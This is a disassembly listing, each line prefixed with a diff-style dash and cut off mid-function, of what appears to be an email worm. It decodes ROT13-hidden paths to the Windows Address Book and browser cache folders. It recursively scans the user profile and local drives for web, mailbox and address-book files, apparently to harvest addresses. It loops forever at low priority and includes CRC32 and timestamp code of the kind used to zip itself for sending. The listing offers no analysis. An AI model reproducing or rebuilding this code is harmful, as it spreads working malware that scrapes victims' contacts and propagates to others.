- push [ebp+hObject] ; hObject
- call ds:CloseHandle
- pop edi
- xor eax, eax
- pop esi
- jmp short loc_4A5F94
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A5F91: ; CODE XREF: sub_4A5EC8+2Ej
- ; sub_4A5EC8+37j
- xor eax, eax
- inc eax
-
- loc_4A5F94: ; CODE XREF: sub_4A5EC8+C7j
- pop ebx
- leave
- retn
- sub_4A5EC8 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A5F97 proc near ; CODE XREF: sub_4A60A5+84p
- ; sub_4A6147+1BBp
-
- var_74 = byte ptr -74h
-
- push ebp
- lea ebp, [esp+var_74]
- sub esp, 94h
- push ebx
- xor ebx, ebx
- push esi
- push ebx ; hTemplateFile
- push 80h ; dwFlagsAndAttributes
- push 3 ; dwCreationDisposition
- push ebx ; lpSecurityAttributes
- push 3 ; dwShareMode
- push 80000000h ; dwDesiredAccess
- push dword ptr [ebp+7Ch] ; lpFileName
- call ds:CreateFileA
- mov esi, eax
- cmp esi, ebx
- mov [ebp+64h], esi
- jz loc_4A609B
- cmp esi, 0FFFFFFFFh
- jz loc_4A609B
- push ebx ; lpFileSizeHigh
- push esi ; hFile
- call ds:GetFileSize
- push ebx ; lpName
- push ebx ; dwMaximumSizeLow
- push ebx ; dwMaximumSizeHigh
- push 2 ; flProtect
- push ebx ; lpFileMappingAttributes
- push esi ; hFile
- mov [ebp+68h], eax
- call ds:CreateFileMappingA
- cmp eax, ebx
- mov [ebp+60h], eax
- jz loc_4A6096
- cmp eax, 0FFFFFFFFh
- jz loc_4A6096
- push edi
- push ebx ; dwNumberOfBytesToMap
- push ebx ; dwFileOffsetLow
- push ebx ; dwFileOffsetHigh
- push 4 ; dwDesiredAccess
- push eax ; hFileMappingObject
- call ds:MapViewOfFile
- mov edi, eax
- cmp edi, ebx
- jnz short loc_4A6019
- push 3
- pop ebx
- jmp short loc_4A607F
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6019: ; CODE XREF: sub_4A5F97+7Bj
- mov eax, [edi+64h]
- mov ecx, [edi+60h]
- cmp eax, ebx
- jbe short loc_4A6078
- mov [ebp+70h], ecx
- mov [ebp+6Ch], eax
-
- loc_4A6029: ; CODE XREF: sub_4A5F97+DFj
- mov esi, [ebp+70h]
- push 80h
- lea eax, [ebp-20h]
- push ebx
- push eax
- call memset
- mov ecx, [ebp+68h]
- add esp, 0Ch
- xor eax, eax
- cmp esi, ecx
- jnb short loc_4A606F
-
- loc_4A6047: ; CODE XREF: sub_4A5F97+C6j
- cmp eax, 44h
- jnb short loc_4A605F
- mov dl, [esi+edi]
- mov [ebp+eax-20h], dl
- cmp [esi+edi], bl
- jz short loc_4A605F
- inc eax
- inc esi
- inc esi
- cmp esi, ecx
- jb short loc_4A6047
-
- loc_4A605F: ; CODE XREF: sub_4A5F97+B3j
- ; sub_4A5F97+BFj
- cmp eax, ebx
- jbe short loc_4A606F
- lea eax, [ebp-20h]
- push ebx
- push eax
- call sub_4A5788
- pop ecx
- pop ecx
-
- loc_4A606F: ; CODE XREF: sub_4A5F97+AEj
- ; sub_4A5F97+CAj
- add dword ptr [ebp+70h], 44h
- dec dword ptr [ebp+6Ch]
- jnz short loc_4A6029
-
- loc_4A6078: ; CODE XREF: sub_4A5F97+8Aj
- push edi ; lpBaseAddress
- call ds:UnmapViewOfFile
-
- loc_4A607F: ; CODE XREF: sub_4A5F97+80j
- push dword ptr [ebp+60h] ; hObject
- call ds:CloseHandle
- pop edi
-
- loc_4A6089: ; CODE XREF: sub_4A5F97+102j
- push dword ptr [ebp+64h] ; hObject
- call ds:CloseHandle
- mov eax, ebx
- jmp short loc_4A609E
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6096: ; CODE XREF: sub_4A5F97+5Bj
- ; sub_4A5F97+64j
- push 2
- pop ebx
- jmp short loc_4A6089
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A609B: ; CODE XREF: sub_4A5F97+2Fj
- ; sub_4A5F97+38j
- xor eax, eax
- inc eax
-
- loc_4A609E: ; CODE XREF: sub_4A5F97+FDj
- pop esi
- pop ebx
- add ebp, 74h
- leave
- retn
- sub_4A5F97 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A60A5 proc near ; CODE XREF: sub_4A6645p
-
- Data = byte ptr -158h
- SubKey = byte ptr -58h
- cbData = dword ptr -8
- hKey = dword ptr -4
-
- push ebp
- mov ebp, esp
- sub esp, 158h
- push ebx
- lea eax, [ebp+SubKey]
- push offset aFbsgjnerZvpe_1 ; "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr An"...
- push eax
- call sub_4A465E
- pop ecx
- lea eax, [ebp+hKey]
- pop ecx
- xor ebx, ebx
- push eax ; phkResult
- push 20019h ; samDesired
- lea eax, [ebp+SubKey]
- push ebx ; ulOptions
- push eax ; lpSubKey
- push 80000001h ; hKey
- call ds:RegOpenKeyExA
- test eax, eax
- jnz short loc_4A612F
- push 100h
- lea eax, [ebp+Data]
- push ebx
- push eax
- call memset
- add esp, 0Ch
- lea eax, [ebp+cbData]
- mov [ebp+cbData], 100h
- push eax ; lpcbData
- lea eax, [ebp+Data]
- push eax ; lpData
- push ebx ; lpType
- push ebx ; lpReserved
- push ebx ; lpValueName
- push [ebp+hKey] ; hKey
- call ds:RegQueryValueExA
- push [ebp+hKey]
- call ds:RegCloseKey
- cmp [ebp+Data], bl
- jz short loc_4A612F
- lea eax, [ebp+Data]
- push eax
- call sub_4A5F97
- pop ecx
-
- loc_4A612F: ; CODE XREF: sub_4A60A5+37j
- ; sub_4A60A5+7Bj
- pop ebx
- leave
- retn
- sub_4A60A5 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A6132 proc near ; CODE XREF: main+84p
- mov ds:dword_4A83C8, 0
- retn
- sub_4A6132 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A613D proc near ; CODE XREF: .text:004A5BABp
- ; .text:004A5BCDp ...
-
- arg_0 = dword ptr 4
-
- mov eax, [esp+arg_0]
- mov ds:dword_4A83C8, eax
- retn
- sub_4A613D endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A6147 proc near ; CODE XREF: sub_4A630C+17Ep
-
- String1 = byte ptr -18h
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 18h
- cmp dword ptr [esi+20h], 28h
- jb locret_4A630A
- xor eax, eax
- or ecx, 0FFFFFFFFh
- cmp [esi+2Ch], al
- jz short loc_4A617D
-
- loc_4A6161: ; CODE XREF: sub_4A6147+30j
- cmp eax, 0FFh
- jge short loc_4A6179
- cmp byte ptr [esi+eax+2Ch], 2Eh
- jnz short loc_4A6171
- mov ecx, eax
-
- loc_4A6171: ; CODE XREF: sub_4A6147+26j
- inc eax
- cmp byte ptr [esi+eax+2Ch], 0
- jnz short loc_4A6161
-
- loc_4A6179: ; CODE XREF: sub_4A6147+1Fj
- test ecx, ecx
- jge short loc_4A6183
-
- loc_4A617D: ; CODE XREF: sub_4A6147+18j
- and [ebp+String1], 0
- jmp short loc_4A619E
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6183: ; CODE XREF: sub_4A6147+34j
- lea eax, [ecx+esi+2Dh]
- push 0Fh ; iMaxLength
- push eax ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call ds:lstrcpynA
- lea eax, [ebp+String1]
- push eax ; lpsz
- call ds:CharLowerA
-
- loc_4A619E: ; CODE XREF: sub_4A6147+3Aj
- and [ebp+var_8], 0
- cmp [ebp+String1], 0
- push ebx
- push edi
- mov [ebp+var_4], 32000h
- jnz short loc_4A61BE
- cmp dword ptr [esi+20h], 5000h
- ja loc_4A62CB
-
- loc_4A61BE: ; CODE XREF: sub_4A6147+68j
- mov edi, ds:lstrcmpA
- lea eax, [ebp+String1]
- push offset aTxt ; lpString2
- push eax ; lpString1
- mov [ebp+var_8], 1
- call edi ; lstrcmpA
- test eax, eax
- jnz short loc_4A61E6
- mov [ebp+var_4], 14000h
- jmp loc_4A62CB
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A61E6: ; CODE XREF: sub_4A6147+91j
- push 3
- lea eax, [ebp+String1]
- pop ebx
- push ebx
- push offset aHtmb ; "htmb"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz loc_4A62CB
- push ebx
- lea eax, [ebp+String1]
- push offset aShtl ; "shtl"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz loc_4A62CB
- push ebx
- lea eax, [ebp+String1]
- push offset aPhpq ; "phpq"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz loc_4A62CB
- push ebx
- lea eax, [ebp+String1]
- push offset aAspd ; "aspd"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz short loc_4A62CB
- push ebx
- lea eax, [ebp+String1]
- push offset aDbxn ; "dbxn"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz short loc_4A62CB
- push ebx
- lea eax, [ebp+String1]
- push offset aTbbg ; "tbbg"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jnz short loc_4A6282
- mov [ebp+var_4], 12C000h
- jmp short loc_4A62CB
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6282: ; CODE XREF: sub_4A6147+130j
- push ebx
- lea eax, [ebp+String1]
- push offset aAdbh ; "adbh"
- push eax
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jz short loc_4A62CB
- lea eax, [ebp+String1]
- push offset aPl ; lpString2
- push eax ; lpString1
- call edi ; lstrcmpA
- test eax, eax
- jz short loc_4A62CB
- push ebx
- lea eax, [ebp+String1]
- push offset aWab ; "wab"
- push eax
- mov [ebp+var_8], 2
- call sub_4A42F1
- add esp, 0Ch
- test eax, eax
- jnz short loc_4A6308
- mov [ebp+var_4], 800000h
-
- loc_4A62CB: ; CODE XREF: sub_4A6147+71j
- ; sub_4A6147+9Aj ...
- mov eax, [ebp+var_4]
- cmp [esi+20h], eax
- ja short loc_4A6308
- jmp short loc_4A62E0
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A62D5: ; CODE XREF: sub_4A6147+1A0j
- push 800h ; dwMilliseconds
- call ds:Sleep
-
- loc_4A62E0: ; CODE XREF: sub_4A6147+18Cj
- cmp ds:dword_4A83C8, 0
- jnz short loc_4A62D5
- cmp [ebp+var_8], 1
- jnz short loc_4A62F9
- push [ebp+arg_0]
- call sub_4A5EC8
- jmp short loc_4A6307
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A62F9: ; CODE XREF: sub_4A6147+1A6j
- cmp [ebp+var_8], 2
- jnz short loc_4A6308
- push [ebp+arg_0]
- call sub_4A5F97
-
- loc_4A6307: ; CODE XREF: sub_4A6147+1B0j
- pop ecx
-
- loc_4A6308: ; CODE XREF: sub_4A6147+17Bj
- ; sub_4A6147+18Aj ...
- pop edi
- pop ebx
-
- locret_4A630A: ; CODE XREF: sub_4A6147+Aj
- leave
- retn
- sub_4A6147 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- ; int __cdecl sub_4A630C(LPCSTR lpString2,int)
- sub_4A630C proc near ; CODE XREF: sub_4A630C+165p
- ; sub_4A64A8+D8p ...
-
- String2 = byte ptr -25Ch
- String1 = byte ptr -11Ch
- hFindFile = dword ptr -4
- lpString2 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 25Ch
- push esi
- xor esi, esi
- cmp [ebp+arg_4], esi
- push edi
- jle short loc_4A632A
- mov edi, [ebp+lpString2]
- cmp edi, esi
- jz short loc_4A632A
- cmp byte ptr [edi], 0
- jnz short loc_4A633C
-
- loc_4A632A: ; CODE XREF: sub_4A630C+10j
- ; sub_4A630C+17j
- xor eax, eax
- inc eax
-
- loc_4A632D: ; CODE XREF: sub_4A630C+197j
- pop edi
- pop esi
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6331: ; CODE XREF: sub_4A630C+36j
- push 800h ; dwMilliseconds
- call ds:Sleep
-
- loc_4A633C: ; CODE XREF: sub_4A630C+1Cj
- cmp ds:dword_4A83C8, esi
- jnz short loc_4A6331
- push ebx
- mov ebx, ds:lstrcpyA
- lea eax, [ebp+String1]
- push edi ; lpString2
- push eax ; lpString1
- call ebx ; lstrcpyA
- lea eax, [ebp+String1]
- lea edi, [ebp+String1]
- push eax ; lpString
- dec edi
- call ds:lstrlenA
- cmp byte ptr [eax+edi], 5Ch
- jz short loc_4A6381
- lea eax, [ebp+String1]
- push offset String2 ; lpString2
- push eax ; lpString1
- call ds:lstrcatA
-
- loc_4A6381: ; CODE XREF: sub_4A630C+61j
- lea eax, [ebp+String1]
- push offset a_ ; lpString2
- push eax ; lpString1
- call ds:lstrcatA
- push 140h
- lea eax, [ebp+String2]
- push esi
- push eax
- call memset
- add esp, 0Ch
- mov [ebp+hFindFile], esi
-
- loc_4A63AB: ; CODE XREF: sub_4A630C+EFj
- ; sub_4A630C+101j ...
- cmp [ebp+hFindFile], esi
- lea eax, [ebp+String2]
- push eax ; lpFindFileData
- jnz short loc_4A63DA
- lea eax, [ebp+String1]
- push eax ; lpFileName
- call ds:FindFirstFileA
- cmp eax, 0FFFFFFFFh
- mov [ebp+hFindFile], eax
- jnz short loc_4A63CF
- mov [ebp+hFindFile], esi
-
- loc_4A63CF: ; CODE XREF: sub_4A630C+BEj
- cmp [ebp+hFindFile], esi
- jz loc_4A64A0
- jmp short loc_4A63EB ; lpFindFileData
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A63DA: ; CODE XREF: sub_4A630C+A9j
- push [ebp+hFindFile] ; hFindFile
- call ds:FindNextFileA
- test eax, eax
- jz loc_4A6497
-
- loc_4A63EB: ; CODE XREF: sub_4A630C+CCj
- cmp byte ptr [ebp-230h], 2Eh
- jnz short loc_4A640F
- cmp byte ptr [ebp-22Fh], 0
- jz short loc_4A63AB
- cmp byte ptr [ebp-22Fh], 2Eh
- jnz short loc_4A640F
- cmp byte ptr [ebp-22Eh], 0
- jz short loc_4A63AB
-
- loc_4A640F: ; CODE XREF: sub_4A630C+E6j
- ; sub_4A630C+F8j
- push [ebp+lpString2] ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call ebx ; lstrcpyA
- lea eax, [ebp+String1]
- push eax ; lpString
- call ds:lstrlenA
- cmp byte ptr [eax+edi], 5Ch
- jz short loc_4A6440
- lea eax, [ebp+String1]
- push offset String2 ; lpString2
- push eax ; lpString1
- call ds:lstrcatA
-
- loc_4A6440: ; CODE XREF: sub_4A630C+120j
- lea eax, [ebp-230h]
- push eax ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call ds:lstrcatA
- test [ebp+String2], 10h
- jz short loc_4A647D
- push 4Bh ; dwMilliseconds
- call ds:Sleep
- mov eax, [ebp+arg_4]
- dec eax
- push eax ; int
- lea eax, [ebp+String1]
- push eax ; lpString2
- call sub_4A630C
- pop ecx
- pop ecx
- jmp loc_4A63AB
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A647D: ; CODE XREF: sub_4A630C+14Fj
- lea eax, [ebp+String1]
- lea esi, [ebp+String2]
- push eax
- call sub_4A6147
- pop ecx
- xor esi, esi
- jmp loc_4A63AB
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6497: ; CODE XREF: sub_4A630C+D9j
- push [ebp+hFindFile] ; hFindFile
- call ds:FindClose
-
- loc_4A64A0: ; CODE XREF: sub_4A630C+C6j
- xor eax, eax
- pop ebx
- jmp loc_4A632D
- sub_4A630C endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A64A8 proc near ; CODE XREF: sub_4A6645+14p
-
- String1 = byte ptr -208h
- var_84 = byte ptr -84h
- String2 = byte ptr -44h
- var_4 = dword ptr -4
-
- push ebp
- mov ebp, esp
- sub esp, 208h
- push ebx
- push esi
- push edi
- lea eax, [ebp+var_84]
- push offset aGrzcbenelVagre ; "Grzcbenel Vagrearg Svyrf"
- push eax
- call sub_4A465E
- lea eax, [ebp+String2]
- push offset aYbpnyFrggvatf ; "Ybpny Frggvatf"
- push eax
- call sub_4A465E
- mov edi, ds:lstrcatA
- add esp, 10h
- and [ebp+var_4], 0
- mov esi, 184h
- mov ebx, offset String2
-
- loc_4A64EA: ; CODE XREF: sub_4A64A8+E6j
- push esi
- lea eax, [ebp+String1]
- push 0
- push eax
- call memset
- add esp, 0Ch
- cmp [ebp+var_4], 0
- lea eax, [ebp+String1]
- push esi ; uSize
- push eax ; lpBuffer
- jnz short loc_4A6512
- call ds:GetWindowsDirectoryA
- jmp short loc_4A651D ; lpBuffer
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A6512: ; CODE XREF: sub_4A64A8+60j
- push offset aUserprofile ; lpName
- call ds:GetEnvironmentVariableA
-
- loc_4A651D: ; CODE XREF: sub_4A64A8+68j
- cmp [ebp+String1], 0
- jz short loc_4A6587
- lea eax, [ebp+String1]
- push eax ; lpString
- call ds:lstrlenA
- lea ecx, [ebp+String1]
- dec ecx
- cmp byte ptr [eax+ecx], 5Ch
- jz short loc_4A654A
- lea eax, [ebp+String1]
- push ebx ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
-
- loc_4A654A: ; CODE XREF: sub_4A64A8+96j
- cmp [ebp+var_4], 1
- jnz short loc_4A6567
- lea eax, [ebp+String2]
- push eax ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call edi ; lstrcatA
- lea eax, [ebp+String1]
- push ebx ; lpString2
- push eax ; lpString1
- call edi ; lstrcatA
-
- loc_4A6567: ; CODE XREF: sub_4A64A8+A6j
- lea eax, [ebp+var_84]
- push eax ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call edi ; lstrcatA
- lea eax, [ebp+String1]
- push 5 ; int
- push eax ; lpString2
- call sub_4A630C
- pop ecx
- pop ecx
-
- loc_4A6587: ; CODE XREF: sub_4A64A8+7Cj
- inc [ebp+var_4]
- cmp [ebp+var_4], 2
- jl loc_4A64EA
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A64A8 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A6599 proc near ; CODE XREF: sub_4A6645+19p
-
- String2 = byte ptr -104h
- String1 = byte ptr -103h
-
- push ebp
- mov ebp, esp
- sub esp, 104h
- push ebx
- push esi
- mov esi, 104h
- lea eax, [ebp+String2]
- push esi
- push 0
- push eax
- call memset
- add esp, 0Ch
- lea eax, [ebp+String2]
- push esi ; uSize
- push eax ; lpBuffer
- call ds:GetSystemDirectoryA
- mov bl, [ebp+String2]
- lea eax, [ebp+String1]
- push offset asc_4A2E6C ; lpString2
- push eax ; lpString1
- call ds:lstrcpyA
- lea eax, [ebp+String2]
- push 0Fh ; int
- push eax ; lpString2
- call sub_4A630C
- pop ecx
- mov [ebp+String2], 43h
- pop ecx
-
- loc_4A65F8: ; CODE XREF: sub_4A6599+A6j
- cmp [ebp+String2], bl
- jz short loc_4A6632
- lea eax, [ebp+String2]
- push eax ; lpRootPathName
- call ds:GetDriveTypeA
- cmp eax, 3
- jz short loc_4A6617
- cmp eax, 6
- jnz short loc_4A6632
-
- loc_4A6617: ; CODE XREF: sub_4A6599+77j
- push 1FA0h ; dwMilliseconds
- call ds:Sleep
- lea eax, [ebp+String2]
- push 0Fh ; int
- push eax ; lpString2
- call sub_4A630C
- pop ecx
- pop ecx
-
- loc_4A6632: ; CODE XREF: sub_4A6599+65j
- ; sub_4A6599+7Cj
- inc [ebp+String2]
- cmp [ebp+String2], 5Ah
- jl short loc_4A65F8
- pop esi
- pop ebx
- leave
- retn
- sub_4A6599 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A6645 proc near ; CODE XREF: main+89p
- call sub_4A60A5
- push 0FFFFFFFFh ; nPriority
- call ds:GetCurrentThread
- push eax ; hThread
- call ds:SetThreadPriority
- call sub_4A64A8
-
- loc_4A665E: ; CODE XREF: sub_4A6645+29j
- call sub_4A6599
- push 8000h ; dwMilliseconds
- call ds:Sleep
- jmp short loc_4A665E
- sub_4A6645 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A6670 proc near ; CODE XREF: sub_4A67F0+3Cp
-
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
- arg_8 = dword ptr 10h
-
- push ebp
- mov ebp, esp
- mov edx, [ebp+arg_4]
- test edx, edx
- jnz short loc_4A667E
- xor eax, eax
- pop ebp
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A667E: ; CODE XREF: sub_4A6670+8j
- push esi
- mov esi, [ebp+arg_0]
- push edi
- mov edi, [ebp+arg_8]
- cmp edi, 8
- mov ecx, 0FFh
- not esi
- jl loc_4A674B
- mov eax, edi
- push ebx
- shr eax, 3
- mov ebx, eax
- neg ebx
- lea edi, [edi+ebx*8]
- mov [ebp+arg_8], edi
-
- loc_4A66A6: ; CODE XREF: sub_4A6670+D1j
- mov bl, [edx]
- mov edi, esi
- xor ebx, esi
- and ebx, ecx
- shr edi, 8
- mov esi, ds:dword_4A2E70[ebx*4]
- xor esi, edi
- inc edx
- mov bl, [edx]
- xor ebx, esi
- and ebx, ecx
- shr esi, 8
- mov edi, ds:dword_4A2E70[ebx*4]
- xor edi, esi
- inc edx
- mov bl, [edx]
- xor ebx, edi
- and ebx, ecx
- shr edi, 8
- mov esi, ds:dword_4A2E70[ebx*4]
- xor esi, edi
- inc edx
- mov bl, [edx]
- xor ebx, esi
- and ebx, ecx
- shr esi, 8
- mov edi, ds:dword_4A2E70[ebx*4]
- xor edi, esi
- inc edx
- mov bl, [edx]
- xor ebx, edi
- and ebx, ecx
- shr edi, 8
- mov esi, ds:dword_4A2E70[ebx*4]
- xor esi, edi
- inc edx
- mov bl, [edx]
- xor ebx, esi
- and ebx, ecx
- shr esi, 8
- mov edi, ds:dword_4A2E70[ebx*4]
- xor edi, esi
- inc edx
- mov bl, [edx]
- xor ebx, edi
- and ebx, ecx
- shr edi, 8
- mov esi, ds:dword_4A2E70[ebx*4]
- xor esi, edi
- inc edx
- mov bl, [edx]
- xor ebx, esi
- and ebx, ecx
- shr esi, 8
- mov edi, ds:dword_4A2E70[ebx*4]
- xor esi, edi
- inc edx
- dec eax
- jnz loc_4A66A6
- mov edi, [ebp+arg_8]
- pop ebx
-
- loc_4A674B: ; CODE XREF: sub_4A6670+20j
- test edi, edi
- jz short loc_4A6765
-
- loc_4A674F: ; CODE XREF: sub_4A6670+F3j
- mov al, [edx]
- xor eax, esi
- and eax, ecx
- shr esi, 8
- mov eax, ds:dword_4A2E70[eax*4]
- xor esi, eax
- inc edx
- dec edi
- jnz short loc_4A674F
-
- loc_4A6765: ; CODE XREF: sub_4A6670+DDj
- mov eax, esi
- pop edi
- not eax
- pop esi
- pop ebp
- retn
- sub_4A6670 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A676D proc near ; CODE XREF: sub_4A6864+B4p
-
- SystemTime = _SYSTEMTIME ptr -10h
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 10h
- lea eax, [ebp+SystemTime]
- push eax ; lpSystemTime
- call ds:GetSystemTime
- cmp [ebp+SystemTime.wYear], 7CFh
- jb short loc_4A678D
- cmp [ebp+SystemTime.wYear], 7DAh
- jbe short loc_4A6793
-
- loc_4A678D: ; CODE XREF: sub_4A676D+16j
- mov [ebp+SystemTime.wYear], 7D4h
-
- loc_4A6793: ; CODE XREF: sub_4A676D+1Ej
- cmp [ebp+SystemTime.wMonth], 1
- jb short loc_4A67A1
- cmp [ebp+SystemTime.wMonth], 0Ch
- jbe short loc_4A67A7
-
- loc_4A67A1: ; CODE XREF: sub_4A676D+2Bj
- mov [ebp+SystemTime.wMonth], 1
-
- loc_4A67A7: ; CODE XREF: sub_4A676D+32j
- cmp [ebp+SystemTime.wDay], 1
- jb short loc_4A67B5
- cmp [ebp+SystemTime.wDay], 1Fh
- jbe short loc_4A67BB
-
- loc_4A67B5: ; CODE XREF: sub_4A676D+3Fj
- mov [ebp+SystemTime.wDay], 0Ah
-
- loc_4A67BB: ; CODE XREF: sub_4A676D+46j
- mov eax, dword ptr [ebp+SystemTime.wYear]
- mov ecx, [ebp+arg_4]
- add eax, 0FFFFFFC4h
- shl eax, 4
- or eax, dword ptr [ebp+SystemTime.wMonth]
- shl eax, 5
- or eax, dword ptr [ebp+SystemTime.wDay]
- mov [ecx], ax
- mov eax, dword ptr [ebp+SystemTime.wHour]
- mov cx, [ebp+SystemTime.wSecond]
- shl eax, 6
- or eax, [ebp-6]
- shr cx, 1
- shl eax, 5
- or eax, ecx
- mov ecx, [ebp+arg_0]
- mov [ecx], ax
- leave
- retn
- sub_4A676D endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A67F0 proc near ; CODE XREF: sub_4A6864+CCp
-
- var_408 = byte ptr -408h
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- hFile = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 408h
- push ebx
- push esi
- xor esi, esi
- push edi
- push esi ; dwMoveMethod
- push esi ; lpDistanceToMoveHigh
- push esi ; lDistanceToMove
- push [ebp+hFile] ; hFile
- call ds:SetFilePointer
- mov edi, ds:ReadFile
- mov [ebp+var_8], esi
- mov ebx, 400h
- jmp short loc_4A6837
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A681A: ; CODE XREF: sub_4A67F0+5Ej
- cmp [ebp+var_4], esi
- jz short loc_4A6850
- push [ebp+var_4]
- lea eax, [ebp+var_408]
- push eax
- push [ebp+var_8]
- call sub_4A6670
- add esp, 0Ch
- mov [ebp+var_8], eax
-
- loc_4A6837: ; CODE XREF: sub_4A67F0+28j
- lea eax, [ebp+var_4]
- push esi
- push eax
- lea eax, [ebp+var_408]
- push ebx
- push eax
- push [ebp+hFile]
- mov [ebp+var_4], esi
- call edi
- test eax, eax
- jnz short loc_4A681A
-
- loc_4A6850: ; CODE XREF: sub_4A67F0+2Dj
- push esi ; dwMoveMethod
- push esi ; lpDistanceToMoveHigh
- push esi ; lDistanceToMove
- push [ebp+hFile] ; hFile
- call ds:SetFilePointer
- mov eax, [ebp+var_8]
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A67F0 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A6864 proc near ; CODE XREF: sub_4A6FCD+FEp
-
- var_47C = byte ptr -47Ch
- NumberOfBytesWritten= dword ptr -7Ch
- var_78 = dword ptr -78h
- var_74 = word ptr -74h
- var_72 = word ptr -72h
- var_70 = word ptr -70h
- var_6E = word ptr -6Eh
- var_6C = word ptr -6Ch
- var_6A = word ptr -6Ah
- var_68 = dword ptr -68h
- var_64 = dword ptr -64h
- var_60 = dword ptr -60h
- var_5C = word ptr -5Ch
- var_5A = word ptr -5Ah
- var_54 = word ptr -54h
- var_52 = dword ptr -52h
- var_4E = dword ptr -4Eh
- Buffer = dword ptr -48h
- var_44 = word ptr -44h
- var_42 = word ptr -42h
- var_40 = word ptr -40h
- var_3E = word ptr -3Eh
- var_3C = word ptr -3Ch
- var_3A = dword ptr -3Ah
- var_36 = dword ptr -36h
- var_32 = dword ptr -32h
- var_2E = word ptr -2Eh
- var_2C = word ptr -2Ch
- var_28 = dword ptr -28h
- var_24 = word ptr -24h
- var_22 = word ptr -22h
- var_20 = word ptr -20h
- var_1E = word ptr -1Eh
- var_1C = dword ptr -1Ch
- var_18 = dword ptr -18h
- var_14 = word ptr -14h
- var_10 = dword ptr -10h
- hObject = dword ptr -0Ch
- hFile = dword ptr -8
- NumberOfBytesRead= dword ptr -4
- lpFileName = dword ptr 8
- arg_4 = dword ptr 0Ch
- lpString = dword ptr 10h
-
- push ebp
- mov ebp, esp
- sub esp, 47Ch
- push ebx
- push esi
- push edi
- xor esi, esi
- mov edi, 80h
- push esi ; hTemplateFile
- mov ebx, ds:CreateFileA
- push edi ; dwFlagsAndAttributes
- push 3 ; dwCreationDisposition
- push esi ; lpSecurityAttributes
- push 3 ; dwShareMode
- push 80000000h ; dwDesiredAccess
- push [ebp+lpFileName] ; lpFileName
- call ebx ; CreateFileA
- cmp eax, 0FFFFFFFFh
- mov [ebp+hFile], eax
- jz loc_4A6A97
- cmp eax, esi
- jz loc_4A6A97
- push esi ; hTemplateFile
- push edi ; dwFlagsAndAttributes
- push 2 ; dwCreationDisposition
- push esi ; lpSecurityAttributes
- push 3 ; dwShareMode
- push 40000000h ; dwDesiredAccess
- push [ebp+arg_4] ; lpFileName
- call ebx ; CreateFileA
- mov edi, eax
- cmp edi, 0FFFFFFFFh
- mov [ebp+hObject], edi
- jz loc_4A6A92
- cmp edi, esi
- jz loc_4A6A92
- push 1Eh
- lea eax, [ebp+Buffer]
- push esi
- push eax
- call memset
- push 2Eh
- lea eax, [ebp+var_78]
- push esi
- push eax
